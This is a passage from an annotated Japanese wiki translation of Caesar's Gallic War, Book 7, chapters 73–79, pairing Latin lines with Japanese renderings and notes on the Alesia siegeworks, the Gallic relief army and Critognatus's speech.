**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
